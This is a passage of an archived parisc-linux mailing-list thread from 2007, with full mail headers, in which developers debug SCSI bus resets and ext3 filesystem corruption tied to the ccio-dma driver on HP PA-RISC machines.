	<alpine.LFD.0.9999.0711151453230.4568@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624652 28593 80.91.229.3 (22 Nov 2014 02:50:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:52 +0000 (UTC)
Cc: kernel-janitors@vger.kernel.org,
 ink@jurassic.park.msu.ru,
 Andrew Morton <akpm@linux-foundation.org>,
 parisc-linux@parisc-linux.org,
 Jiri Olsa <olsajiri@gmail.com>,
 rth@twiddle.net
To: "Robert P. J. Day" <rpjday@crashcourse.ca>
Original-X-From: - Wed Jul 02 21:28:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Dec 2007 18:17:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx016) with SMTP; 20 Dec 2007 19:17:17 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4EFFB7D4A1;
	Thu, 20 Dec 2007 11:17:12 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id KmWQkaIR2r7e; Thu, 20 Dec 2007 11:17:12 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 144177D4A2;
	Thu, 20 Dec 2007 09:40:07 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5242E7D456
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Nov 2007 10:33:15 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id Ydf291+aRdTY for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Nov 2007 10:33:03 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 1280D7D455
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Nov 2007 10:33:03 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 13B6E49400B; Fri, 16 Nov 2007 10:33:06 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "mail.lackof.org",
	Issuer "CAcert Class 3 Root" (verified OK))
	by mail.parisc-linux.org (Postfix) with ESMTP id AA0EC494007;
	Fri, 16 Nov 2007 10:33:05 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id DF6D5298058;
	Fri, 16 Nov 2007 10:33:03 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13466-07; Fri, 16 Nov 2007 10:32:48 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 98AC529805C; Fri, 16 Nov 2007 10:32:48 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <alpine.LFD.0.9999.0711151453230.4568@localhost.localdomain>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Htest: 0.65
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: moNTf0oEYW0/ZLuGbmZpLR90amthc5vR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25478

On Thu, Nov 15, 2007 at 02:54:45PM -0500, Robert P. J. Day wrote:
...
> > > -# CONFIG_DEBUG_RWLOCK is not set
> > >  # CONFIG_DEBUG_RODATA is not set
> 
> IIRC, you typically don't bother fixing up the defconfig files --
> those will be regenerated eventually.

It's not automatic though. So I don't mind the update.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [patch 2/2] backport of sba sg list management
	to ccio-dma
Date: Sat, 24 Nov 2007 20:36:03 +0000
Lines: 81
Approved: news@gmane.org
Message-ID: <47488B33.5040904@scarlet.be>
References: <JQIT2V$FB9C8381616CCA32E9FC6CC809E8D81D@scarlet.be>
	<20071028064158.GB29233@colo.lackof.org>
	<4724A084.5090709@scarlet.be>
	<20071029053015.GA14763@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624653 28597 80.91.229.3 (22 Nov 2014 02:50:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:53 +0000 (UTC)
Cc: kyle <kyle@mcmartin.ca>,
 parisc-linux <parisc-linux@parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Dec 2007 18:57:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx089) with SMTP; 20 Dec 2007 19:57:37 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 49EC57F49E;
	Thu, 20 Dec 2007 11:57:36 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id CtoTMGb2qk+K; Thu, 20 Dec 2007 11:57:36 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 879087F4AB;
	Thu, 20 Dec 2007 11:28:08 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 455047D428
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Nov 2007 16:55:29 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id Pjw+u0dkibFQ for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Nov 2007 16:55:11 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id BCEB67D436
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Nov 2007 16:53:49 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 814A049408F; Sun, 25 Nov 2007 16:53:53 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from jaguar.mkp.net (jaguar.mkp.net [192.139.46.146])
	by mail.parisc-linux.org (Postfix) with ESMTP id 078E349404B
	for <parisc-linux@parisc-linux.org>;
	Sun, 25 Nov 2007 16:53:52 -0700 (MST)
Original-Received: from weequay.is.scarlet.be (weequay.is.scarlet.be [193.74.71.24])
	by jaguar.mkp.net (Postfix) with ESMTP id 567FD880B6
	for <parisc-linux@parisc-linux.org>;
	Sat, 24 Nov 2007 15:36:19 -0500 (EST)
Original-Received: from (ip-213-49-69-217.dsl.scarlet.be [213.49.69.217])
	by weequay.is.scarlet.be  with ESMTP id lAOKa4Z27463;
	Sat, 24 Nov 2007 21:36:04 +0100
User-Agent: Mozilla-Thunderbird 2.0.0.6 (X11/20071009)
In-Reply-To: <20071029053015.GA14763@colo.lackof.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Htest: 0.5
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: EIJScl1Mbmw6bK2HZzdL7upHUzc4ctHx
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25479

Hello Grant, Kyle,

I finaly find an interesting paper on this Runway bc:
<http://www.hpl.hp.com/hpjournal/96feb/feb96a6.htm>

I read it but i don't yet understand it in deep but this detail:
"The lower 12 bits of the address must be left alone because of the 4K-byte page size defined by the architecture."

make me think that the IOVP_SHIFT of this ccio-dma driver would be always 12 what ever could be the PAGE_SHIFT (it's not yet 
possible but for pa8000 and later it could be greater)?

That said for the moment IOVP_SHIF == PAGE_SHIFT so couldn't be the reason of the followings issues.

On my d380, I reach to re-iterate some stress test on scsi ncr53c720 and LASI 53c700 with a simple read/write loop like:
# while true ; do nice -n -3 tar -xspf linux-2.6.11-rc3-pa3.tar ; nice -n -3 rm -rf linux-2.6.11-rc3-pa3 ; date ; done

With a fs build on a disk connected to a 53c710 hba, with or without my bp patch, unfortunately I always got same errors 
after some loop's occurence:
scsi3: (3:0) phase mismatch at 01e8, phase IO CD MSG BSY REQ MSG IN
  scsi3: Bus Reset detected, executing command 10a304e0, slot 10a0864c, dsp 001681e8[01e8]
   failing command because of reset, slot 10a08520, cmnd 10a30720
   failing command because of reset, slot 10a0864c, cmnd 10a304e0
   failing command because of reset, slot 10a08778, cmnd 10a303c0
   failing command because of reset, slot 10a088a4, cmnd 16eacd40
  scsi3: (3:0) phase mismatch at 01e8, phase IO CD MSG BSY REQ MSG IN
  scsi3: Bus Reset detected, executing command 10a30600, slot 10a088a4, dsp 001681e8[01e8]
   failing command because of reset, slot 10a08520, cmnd 16eacd40
   failing command because of reset, slot 10a0864c, cmnd 10a304e0
   failing command because of reset, slot 10a08778, cmnd 10a30720
   failing command because of reset, slot 10a088a4, cmnd 10a30600
  scsi3: (3:0) phase mismatch at 01e8, phase IO CD MSG BSY REQ MSG IN
  scsi3: Bus Reset detected, executing command 16eac9e0, slot 10a088a4, dsp 001681e8[01e8]
   failing command because of reset, slot 10a08520, cmnd 16eace60
   failing command because of reset, slot 10a0864c, cmnd 10a30600
   failing command because of reset, slot 10a08778, cmnd 16eacd40
   failing command because of reset, slot 10a088a4, cmnd 16eac9e0
[snip]

(this same disk connected to same lasi 53c710 of a b180 i.e. without ccio-dma could loop severall days without showing any 
issue)

On a disk attached to a ncr53c720 hba I also get errors:
  EXT3-fs error (device dm-0): ext3_free_blocks: Freeing blocks not in datazone - block = 1818455657, count = 1
  EXT3-fs error (device dm-0): ext3_free_blocks: Freeing blocks not in datazone - block = 157639797, count = 1
  EXT3-fs error (device dm-0): ext3_free_blocks: Freeing blocks not in datazone - block = 1852402748, count = 1
  EXT3-fs error (device dm-0): ext3_free_blocks: Freeing blocks not in datazone - block = 1714387061, count = 1
[snip]

With the original ccio-dma driver it occures after few occurence of the loop (about 5) but my patch only delay the pb to 
several houres (not useless work but not yet enough).

Any way fs is corrupted and this bring me to next major issue with my c110 (using same ncr53c720, lasi 53c710 and ccio-dma 
drivers as d380). This box was sleeping till about a year, so I removed additional ram kit of 512Mb for another usage and 
restored original ram of 64Mb, but internal boot disk stay unchanged connected to the ncr53c720 hba.
When I tried to reboot it some weeks ago with an existing & known working kernels (from the time system still own 512Mb; 
e.g. 2.6.8.1-pa7, 2.6.14-pa0, 2.6.19), it started to make a fsck obviously but this always sadely (fsck generating a fs 
corrution, well not directly but by border effect) ended by fs corruption too. That's only with the very old debian install 
kernel 2.4.17-32 that I reach to reboot this system to install latest 2.6.23-pa.orig and 2.6.23-pa+patch kernels. I could 
also reach to reboot this box with latest mentioned kernels but as soon as I launched an 'apt-get dist-upgrade' (after a 
update obviously) fs corruption occured again. I was inocently expecting that after some reboot, fsck and renew 
dist-upgrade, I would finaly recover a system operational like my d380. But I was wrong and after 2 or 3 reboot this box 
became not-bootable anymore (having lost too much critical files on the root fs :_().

[Sade sade sade to me: in 10 years of linux, it's the very first time I lost a system because of sw issue :__(]

All this story to say in summary, a d380 with 256Mb of ram works more or less fine (if I don't stress scsi disk) but a c110 
with few 64Mb is not usable at all (with either original or patched 2.6.23-pa kernels)?

I have the filing that some cache coherency (I/O, mem??) lakes somewhere but I didn't understand where/what is the code that 
do it now, so if you have some more time to pin point it to me, I would greatly appreciate.

TIA,
	J.


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [patch 2/2] backport of sba sg list management
	to ccio-dma
Date: Sun, 25 Nov 2007 20:26:52 -0700
Lines: 105
Approved: news@gmane.org
Message-ID: <20071126032652.GB11557@colo.lackof.org>
References: <JQIT2V$FB9C8381616CCA32E9FC6CC809E8D81D@scarlet.be>
	<20071028064158.GB29233@colo.lackof.org>
	<4724A084.5090709@scarlet.be>
	<20071029053015.GA14763@colo.lackof.org>
	<47488B33.5040904@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624653 28599 80.91.229.3 (22 Nov 2014 02:50:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:53 +0000 (UTC)
Cc: kyle <kyle@mcmartin.ca>,
 parisc-linux <parisc-linux@parisc-linux.org>
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: - Wed Jul 02 21:28:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Dec 2007 18:59:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx086) with SMTP; 20 Dec 2007 19:59:39 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C1B537D4D1;
	Thu, 20 Dec 2007 11:59:37 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id ndkId6xXqqit; Thu, 20 Dec 2007 11:59:37 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 453CE7D56A;
	Thu, 20 Dec 2007 11:30:23 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B9F3B7D427
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Nov 2007 20:27:18 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id fY6QsuUOOKih for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Nov 2007 20:27:06 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 808617D417
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Nov 2007 20:27:06 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id E6ED3494009; Sun, 25 Nov 2007 20:27:10 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "mail.lackof.org",
	Issuer "CAcert Class 3 Root" (verified OK))
	by mail.parisc-linux.org (Postfix) with ESMTP id 8E24E494006;
	Sun, 25 Nov 2007 20:27:09 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id A74FC4F980E;
	Sun, 25 Nov 2007 20:27:07 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13423-05; Sun, 25 Nov 2007 20:26:52 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 3ACC44F980A; Sun, 25 Nov 2007 20:26:52 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <47488B33.5040904@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Htest: 0.46
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: /dIfdOkJODBoYrWUfGRMFv81Ji9SWpI2
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25480

On Sat, Nov 24, 2007 at 08:36:03PM +0000, Joel Soete wrote:
> Hello Grant, Kyle,
>
> I finaly find an interesting paper on this Runway bc:
> <http://www.hpl.hp.com/hpjournal/96feb/feb96a6.htm>

Yeah, I read that article around the time it was published.
I was fortunate to have worked with Todd Kjos in the same group.

> I read it but i don't yet understand it in deep but this detail:
> "The lower 12 bits of the address must be left alone because of the 4K-byte 
> page size defined by the architecture."
>
> make me think that the IOVP_SHIFT of this ccio-dma driver would be always 
> 12 what ever could be the PAGE_SHIFT

The 12-bits per page (4k pages) is hard wired for the PA1.1 machines. 

> (it's not yet possible but for pa8000 and later it could be greater)?

Right. PA2.0 machines can support variable page sizes and parisc-linux
has "almost working" support bigger page sizes.

> That said for the moment IOVP_SHIF == PAGE_SHIFT so couldn't be the reason 
> of the followings issues.

Right, there might be other caching issues still though.

> On my d380, I reach to re-iterate some stress test on scsi ncr53c720 and 
> LASI 53c700 with a simple read/write loop like:
> # while true ; do nice -n -3 tar -xspf linux-2.6.11-rc3-pa3.tar ; nice -n 
> -3 rm -rf linux-2.6.11-rc3-pa3 ; date ; done

Sorry...same questions again:
	SMP or UP kernel?
	Which kernel version?


> With a fs build on a disk connected to a 53c710 hba, with or without my bp 
> patch, unfortunately I always got same errors after some loop's occurence:
> scsi3: (3:0) phase mismatch at 01e8, phase IO CD MSG BSY REQ MSG IN
>  scsi3: Bus Reset detected, executing command 10a304e0, slot 10a0864c, dsp 
> 001681e8[01e8]
>   failing command because of reset, slot 10a08520, cmnd 10a30720
...
> [snip]
>
> (this same disk connected to same lasi 53c710 of a b180 i.e. without 
> ccio-dma could loop severall days without showing any issue)

B180 is using uncached memory for it's control data and this has a
very different CPU timing. It's hard to say if the problem is a
memory ordering issue in zalon support or a bug in ccio driver.

sorry, can't be more precise than that.

cheers,
grant

> datazone - block = 1714387061, count = 1
> [snip]
>
> With the original ccio-dma driver it occures after few occurence of the 
> loop (about 5) but my patch only delay the pb to several houres (not 
> useless work but not yet enough).
>
> Any way fs is corrupted and this bring me to next major issue with my c110 
> (using same ncr53c720, lasi 53c710 and ccio-dma drivers as d380). This box 
> was sleeping till about a year, so I removed additional ram kit of 512Mb 
> for another usage and restored original ram of 64Mb, but internal boot disk 
> stay unchanged connected to the ncr53c720 hba.
> When I tried to reboot it some weeks ago with an existing & known working 
> kernels (from the time system still own 512Mb; e.g. 2.6.8.1-pa7, 
> 2.6.14-pa0, 2.6.19), it started to make a fsck obviously but this always 
> sadely (fsck generating a fs corrution, well not directly but by border 
> effect) ended by fs corruption too. That's only with the very old debian 
> install kernel 2.4.17-32 that I reach to reboot this system to install 
> latest 2.6.23-pa.orig and 2.6.23-pa+patch kernels. I could also reach to 
> reboot this box with latest mentioned kernels but as soon as I launched an 
> 'apt-get dist-upgrade' (after a update obviously) fs corruption occured 
> again. I was inocently expecting that after some reboot, fsck and renew 
> dist-upgrade, I would finaly recover a system operational like my d380. But 
> I was wrong and after 2 or 3 reboot this box became not-bootable anymore 
> (having lost too much critical files on the root fs :_().
>
> [Sade sade sade to me: in 10 years of linux, it's the very first time I 
> lost a system because of sw issue :__(]
>
> All this story to say in summary, a d380 with 256Mb of ram works more or 
> less fine (if I don't stress scsi disk) but a c110 with few 64Mb is not 
> usable at all (with either original or patched 2.6.23-pa kernels)?
>
> I have the filing that some cache coherency (I/O, mem??) lakes somewhere 
> but I didn't understand where/what is the code that do it now, so if you 
> have some more time to pin point it to me, I would greatly appreciate.
>
> TIA,
> 	J.
>
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [patch 2/2] backport of sba sg list management
	to ccio-dma
Date: Mon, 26 Nov 2007 09:48:48 +0100
Lines: 135
Approved: news@gmane.org
Message-ID: <JS3V5C$A9DBFEF8AAD8958A4E1B90A528CCEE62@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624653 28604 80.91.229.3 (22 Nov 2014 02:50:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:53 +0000 (UTC)
Cc: kyle <kyle@mcmartin.ca>,
 parisc-linux <parisc-linux@parisc-linux.org>
To: "grundler" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Dec 2007 19:00:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx094) with SMTP; 20 Dec 2007 20:00:56 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E6BFC7DA78;
	Thu, 20 Dec 2007 12:00:54 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 2Jb7+RReUT3k; Thu, 20 Dec 2007 12:00:54 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 762487DA99;
	Thu, 20 Dec 2007 11:33:26 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 58B567D428
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Nov 2007 01:49:01 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 97zIdabIAWpN for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Nov 2007 01:48:48 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 86D3E7D427
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Nov 2007 01:48:48 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 714F2494009; Mon, 26 Nov 2007 01:48:52 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by mail.parisc-linux.org (Postfix) with ESMTP id 9548C494006;
	Mon, 26 Nov 2007 01:48:50 -0700 (MST)
Original-Received: from (fuji.is.scarlet.be [193.74.71.41])
	by guri.is.scarlet.be  with ESMTP id lAQ8mo020974;
	Mon, 26 Nov 2007 09:48:50 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
